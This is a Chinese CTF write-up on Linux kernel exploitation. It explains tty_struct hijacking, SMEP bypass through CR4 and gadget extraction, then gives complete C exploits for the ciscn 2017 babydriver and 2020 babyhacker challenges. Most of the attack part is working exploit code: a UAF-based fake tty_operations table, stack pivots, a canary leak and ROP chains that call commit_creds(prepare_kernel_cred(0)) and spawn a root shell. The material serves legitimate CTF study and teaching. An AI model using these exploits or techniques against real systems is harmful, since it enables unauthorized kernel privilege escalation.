前面只找到qwb的题目,这次突然又看到安全客上“Kernel Pwn 学习之路(二)”有蛮多以往的ROP赛题,算是再补充一下。
相关知识点 tty_struct结构体 由于ptmx
是众多tty设备中的一种,当open("/dev/ptmx", O_RDWR);
打开的时候,会分配一个tty_struct
。tty_struct
结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 struct tty_struct { int magic; struct kref kref ; struct device *dev ; struct tty_driver *driver ; const struct tty_operations *ops ; int index; struct ld_semaphore ldisc_sem ; struct tty_ldisc *ldisc ; struct mutex atomic_write_lock ; struct mutex legacy_mutex ; struct mutex throttle_mutex ; struct rw_semaphore termios_rwsem ; struct mutex winsize_mutex ; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios , termios_locked ; struct termiox *termiox ; char name[64 ]; struct pid *pgrp ; struct pid *session ; unsigned long flags; int count; struct winsize winsize ; unsigned long stopped:1 , flow_stopped:1 , unused:BITS_PER_LONG - 2 ; int hw_stopped; unsigned long ctrl_status:8 , packet:1 , unused_ctrl:BITS_PER_LONG - 9 ; unsigned int receive_room; int flow_change; struct tty_struct *link ; struct fasync_struct *fasync ; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work ; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files ; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work ; struct tty_port *port ; } __randomize_layout;
注意到结构体中有个成员const struct tty_operations *ops;
,这个tty_operations
结构体的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct tty_operations { struct tty_struct * (*lookup )(struct tty_driver *driver , struct file *filp , int idx ); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove )(struct tty_driver *driver, struct tty_struct *tty); int (*open )(struct tty_struct * tty, struct file * filp); void (*close )(struct tty_struct * tty, struct file * filp); void (*shutdown )(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write )(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop )(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set , unsigned int clear ); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line , char *options); int (*poll_get_char)(struct tty_driver *driver, int line ); void (*poll_put_char)(struct tty_driver *driver, int line , char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
可以看到有大量的函数指针可用。 因此利用tty_struct
结构体的思路就是劫持这个tty_operations
结构体,覆盖相应的函数指针,达到控制程序流的目的。而通常情况下,会选择int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
这个函数指针。 而且由于ptmx
设备打开时,分配tty_struct
结构体也是通过slub
分配器分配的,所以控制起来就比较方便了。
bypass smep 系统判断是否开启smep保护,是根据CR4
寄存器的第二十位bit来确定的,如果是1则为保护开启状态,否则为0。 因此要bypass smep,就需要将CR4
的第二十个bit置位为0,主要是通过从vmlinux
提取出gadgets,通过mov cr4, xxxxx
来完成。 为了保持再关闭smep后,其他标志位不变或者即使变化也不会影响后续操作系统的正常运行,CR4
的修改可分为两种思路:
通过kernel crash获取CR4
的值(可以通过kfree
一块非法内存,比如x86下kfree(0xFFFFFFFF)
),然后将第二十个bit置0后,再通过gadgetmov
到CR4
中。
或者用固定值0x6F0,即mov cr4, 0x6f0
。 而至于gadget的提取,若题目给了vmlinux
,可以直接用ROPgadget
或者ropper
提取,若没有,则可以通过extract-vmlinux
从内核镜像bzImage
中提取vmlinux
:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # !/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011 Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux # and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1 ) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } # Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2
ciscn 2017 babydriver复现(ROP做法) 题目分析 之前已经分析过了,就不再描述了。要注意的是没有开kaslr。
利用思路
在open
设备ptmx
之后,利用UAF劫持ptmx
设备的tty_struct
结构体,修改其中tty_operations
的指针指向伪造的表。
伪造表的ioctl
函数指针改为gadgetxchg eax, esp; ret;
,从而达成stack pivot。因为此时eax正好是xchg eax, esp; ret;
的地址的低4 bytes,所以在kaslr关闭的情况下是确定的。因为栈地址要对齐0x8,因此该gadget的地址也要对齐0x8,否则会crash(亲测)。而且注意这里执行xchg eax, esp
的时候,实际上rax
和rsp
的高4 bytes都不是0,但是结果是两者都变成了0,也就是说rsp
变成了0x00000000xxxxxxxx
,具体原因可以参考(stackoverflow)[https://stackoverflow.com/questions/11177137/why-do-x86-64-instructions-on-32-bit-registers-zero-the-upper-part-of-the-full-6?tdsourcetag=s_pctim_aiomsg]。
调用mmap
在eax
指向的空间分配一块内存,在其中布置rop chain,依次完成CR4
的修改,提权,状态切换,起shell的操作。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 +----------------+ | pop_rdi | +----------------+ | 0x6f0 | +----------------+ | mov_cr4_rdi | ==> mov cr4, rdi; pop rbp; ret; +----------------+ | fill | +----------------+ | priviledge | ==> commit_creds(perpare_kernel_cred(0)); +----------------+ | swapgs | ==> swapgs; pop rbp; ret; +----------------+ | fill | +----------------+ | iret | ==> iret +----------------+ | getshell | ==> system("/bin/sh"); +----------------+ | user_cs | +----------------+ | user_rflags | +----------------+ | user_sp | +----------------+ | user_ss | +----------------+
调用ptmx
的ioctl
,劫持控制流,逐步触发stack pivor和rop chain,get root shell。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/mman.h> #define COM_MALLOC 0x10001 size_t user_cs, user_ss, user_sp, user_rflags;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("[*] Status has been saved.\n" ); } size_t prepare_kernel_cred = 0xffffffff810a1810 ;size_t commit_creds = 0xffffffff810a1420 ;void priviledge_escalation () { void *(*pkc)(void *) = (void *)prepare_kernel_cred; int (*cc)(void *) = (void *)commit_creds; (*cc)((*pkc)(0 )); } void getshell () { if (getuid() == 0 ) { printf ("[+] Root!\n" ); system("/bin/sh" ); } else { printf ("[!] Failed!\n" ); } } int main (void ) { int fd_1, fd_2; int fd_ptmx; size_t fake_tty_struct[4 ]; size_t *rop; void *fake_tty_operations[30 ]; size_t swapgs_addr, iret_addr, pop_rdi_addr, mov_cr4_rdi_addr, xchg_eax_esp; int i; fd_1 = open ("/dev/babydev" , O_RDWR); fd_2 = open ("/dev/babydev" , O_RDWR); ioctl(fd_1, COM_MALLOC, 0x2E0 ); close (fd_1); fd_ptmx = open ("/dev/ptmx" , O_RDONLY | O_NOCTTY); if (fd_ptmx == -1 ) { printf ("[!] Device ptmx open failed!\n" ); return 0 ; } else { printf ("[+] Device ptmx open successfully!\n" ); } save_status(); pop_rdi_addr = 0xffffffff810d238d ; mov_cr4_rdi_addr = 0xffffffff81004d80 ; swapgs_addr = 0xffffffff81063694 ; iret_addr = 0xffffffff8181a797 ; xchg_eax_esp = 0xffffffff81007808 ; rop = mmap((void *)0x81000000 , 0x8000 , PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1 , 0 ); if (rop == MAP_FAILED) { printf ("[!] Mmap failed!\n" ); return 0 ; } i = 0 ; rop[0x7808 / 8 + i++] = pop_rdi_addr; rop[0x7808 / 8 + i++] = 0x6f0 ; rop[0x7808 / 8 + i++] = mov_cr4_rdi_addr; rop[0x7808 / 8 + i++] = 0 ; rop[0x7808 / 8 + i++] = (size_t )&priviledge_escalation; rop[0x7808 / 8 + i++] = swapgs_addr; rop[0x7808 / 8 + i++] = 0 ; rop[0x7808 / 8 + i++] = iret_addr; rop[0x7808 / 8 + i++] = (size_t )&getshell; rop[0x7808 / 8 + i++] = user_cs; rop[0x7808 / 8 + i++] = user_rflags; rop[0x7808 / 8 + i++] = user_sp; rop[0x7808 / 8 + i++] = user_ss; fake_tty_operations[12 ] = (void *)xchg_eax_esp; read (fd_2, fake_tty_struct, 0x20 ); printf ("[+] The first qword of tty_struct: %lx\n" , *fake_tty_struct); fake_tty_struct[3 ] = (size_t )fake_tty_operations; write (fd_2, fake_tty_struct, 0x20 ); ioctl(fd_ptmx, 0 , 0 ); return 0 ; }
2020高校战疫分享赛 babyhacker 题目分析 保护机制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # !/bin/bash # stty intr ^] # cd `dirname $0 `qemu-system-x86_64 \ -m 512M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=2,threads=4 \ -cpu qemu64,smep,smap 2>/dev/null \ -s
开了smep,smap,kaslr以及canary。 解包文件系统,提取babyhacker.ko,分析ioctl
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __int64 __fastcall babyhacker_ioctl (file *file, unsigned int cmd, unsigned __int64 arg) { __int64 v3; file *rdx1; __int16 v5; int v4[80 ]; unsigned __int64 v8; __int64 v9; _fentry__(file, cmd, arg); v9 = v3; v5 = (__int16)rdx1; v8 = __readgsqword(0x28 u); switch ( cmd ) { case 0x30001 u: babyhacker_ioctl_0(rdx1, *(__int64 *)&cmd, (unsigned __int64)rdx1); break ; case 0x30002 u: copy_to_user(rdx1, v4, buffersize); break ; case 0x30000 u: if ( (int )rdx1 >= 11 ) v5 = 10 ; buffersize = v5; break ; } return 0L L; } __int64 __fastcall babyhacker_ioctl_0 (file *file, __int64 cmd, unsigned __int64 arg) { __int64 v3; int v4[80 ]; unsigned __int64 v6; __int64 v7; _fentry__(file, cmd, arg); v7 = v3; v6 = __readgsqword(0x28 u); return copy_from_user(v4, file, buffersize); }
可以看出,很明显的功能0x30000
中,(int)rdx1 >= 11
只是截取了rdx1
的低4 bytes,并作为int
类型进行解析,若为负数则可以直接绕过此check。 而后续的对buffersize = v5
的赋值,v5 = (__int16)rdx1;
,截取了rdx1
的低2 bytes作为长度值,所以这里v5
的范围为0x0 ~ 0xFFFF
。 那么在调用0x30001
功能的时候,copy_from_user(v4, file, buffersize)
中buffersize
最大为0xFFFF
,而v4
最大为0x50
。 同样的,0x30002
功能也能读到v4
之后的栈上的内容。
利用思路
首先利用OOB,读出canary以及栈上存在的vmlinux代码段残留地址,计算出vmlinux_base。
从bzImage中提取出vmlinux,然后搜索gadgets。
同上题,构造rop,依次bypass smep和smap,然后提权,返回用户态起shell。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #define SIZE_CMD 0x30000 #define WRITE_CMD 0x30001 #define READ_CMD 0x30002 #define MASK 0x80000000 int64_t prepare_kernel_cred_offset = 0xffffffff8dc19218 - 0xffffffff8daa1820 ;int64_t commit_creds_offset = 0xffffffff8dc19218 - 0xffffffff8daa1430 ;uint64_t prepare_kernel_cred, commit_creds;ssize_t user_cs, user_ss, user_sp, user_rflags;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("[!] status saved\n" ); } void privilege () { void *(*pkc)(void *) = prepare_kernel_cred; void (*cc)(void *) = commit_creds; cc(pkc(0 )); } void getshell () { if (getuid() == 0 ) { printf ("[+] root!\n" ); system("/bin/sh" ); } else { printf ("[!] failed\n" ); } } void retq () { __asm__("swapgs;" "iretq;" ); } void sub_rsp () { __asm__("sub rsp, 0x178;" "ret;" ); } int main (void ) { int fd = open ("/dev/babyhacker" , O_RDONLY); if (fd < 0 ) { puts ("open failed" ); exit (-1 ); } uint8_t *buf = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (buf == MAP_FAILED) { puts ("mmap failed" ); exit (-1 ); } ioctl(fd, SIZE_CMD, 0x158 | MASK); ioctl(fd, READ_CMD, buf); uint64_t canary = *(uint64_t *)(buf + 0x140 ); uint64_t vmlinux_addr = *(uint64_t *)(buf + 0x150 ); prepare_kernel_cred = vmlinux_addr - prepare_kernel_cred_offset; commit_creds = vmlinux_addr - commit_creds_offset; printf ("[+] canary is: %lx\n" , canary); printf ("[+] prepare_kernel_cred address is: %lx\n" , prepare_kernel_cred); printf ("[+] commit_creds address is: %lx\n" , commit_creds); save_status(); uint64_t pop_rdi = vmlinux_addr - 0x219218 + 0x9054d ; uint64_t mov_cr4_rdi = vmlinux_addr - 0x219218 + 0x4d70 ; int base = 0x140 / 8 ; int idx = 0 ; ((uint64_t *)buf)[idx] = (uint64_t )privilege; ((uint64_t *)buf)[idx++] += 4 ; ((uint64_t *)buf)[idx] = (uint64_t )retq; ((uint64_t *)buf)[idx++] += 8 ; ((uint64_t *)buf)[idx++] = (uint64_t )getshell; ((uint64_t *)buf)[idx++] = user_cs; ((uint64_t *)buf)[idx++] = user_rflags; ((uint64_t *)buf)[idx++] = user_sp; ((uint64_t *)buf)[idx++] = user_ss; idx = 0 ; ((uint64_t *)buf)[base + idx++] = canary; ((uint64_t *)buf)[base + idx++] = 0 ; ((uint64_t *)buf)[base + idx++] = pop_rdi; ((uint64_t *)buf)[base + idx++] = 0x6e0 ; ((uint64_t *)buf)[base + idx++] = mov_cr4_rdi; ((uint64_t *)buf)[base + idx++] = 0 ; ((uint64_t *)buf)[base + idx] = (uint64_t )sub_rsp; ((uint64_t *)buf)[base + idx++] += 8 ; ioctl(fd, SIZE_CMD, (0x140 + idx * 8 ) | MASK); ioctl(fd, WRITE_CMD, buf); return 0 ; }
参考链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/
https://www.anquanke.com/post/id/201454
http://www.g3n3rous.fun/index.php/archives/7/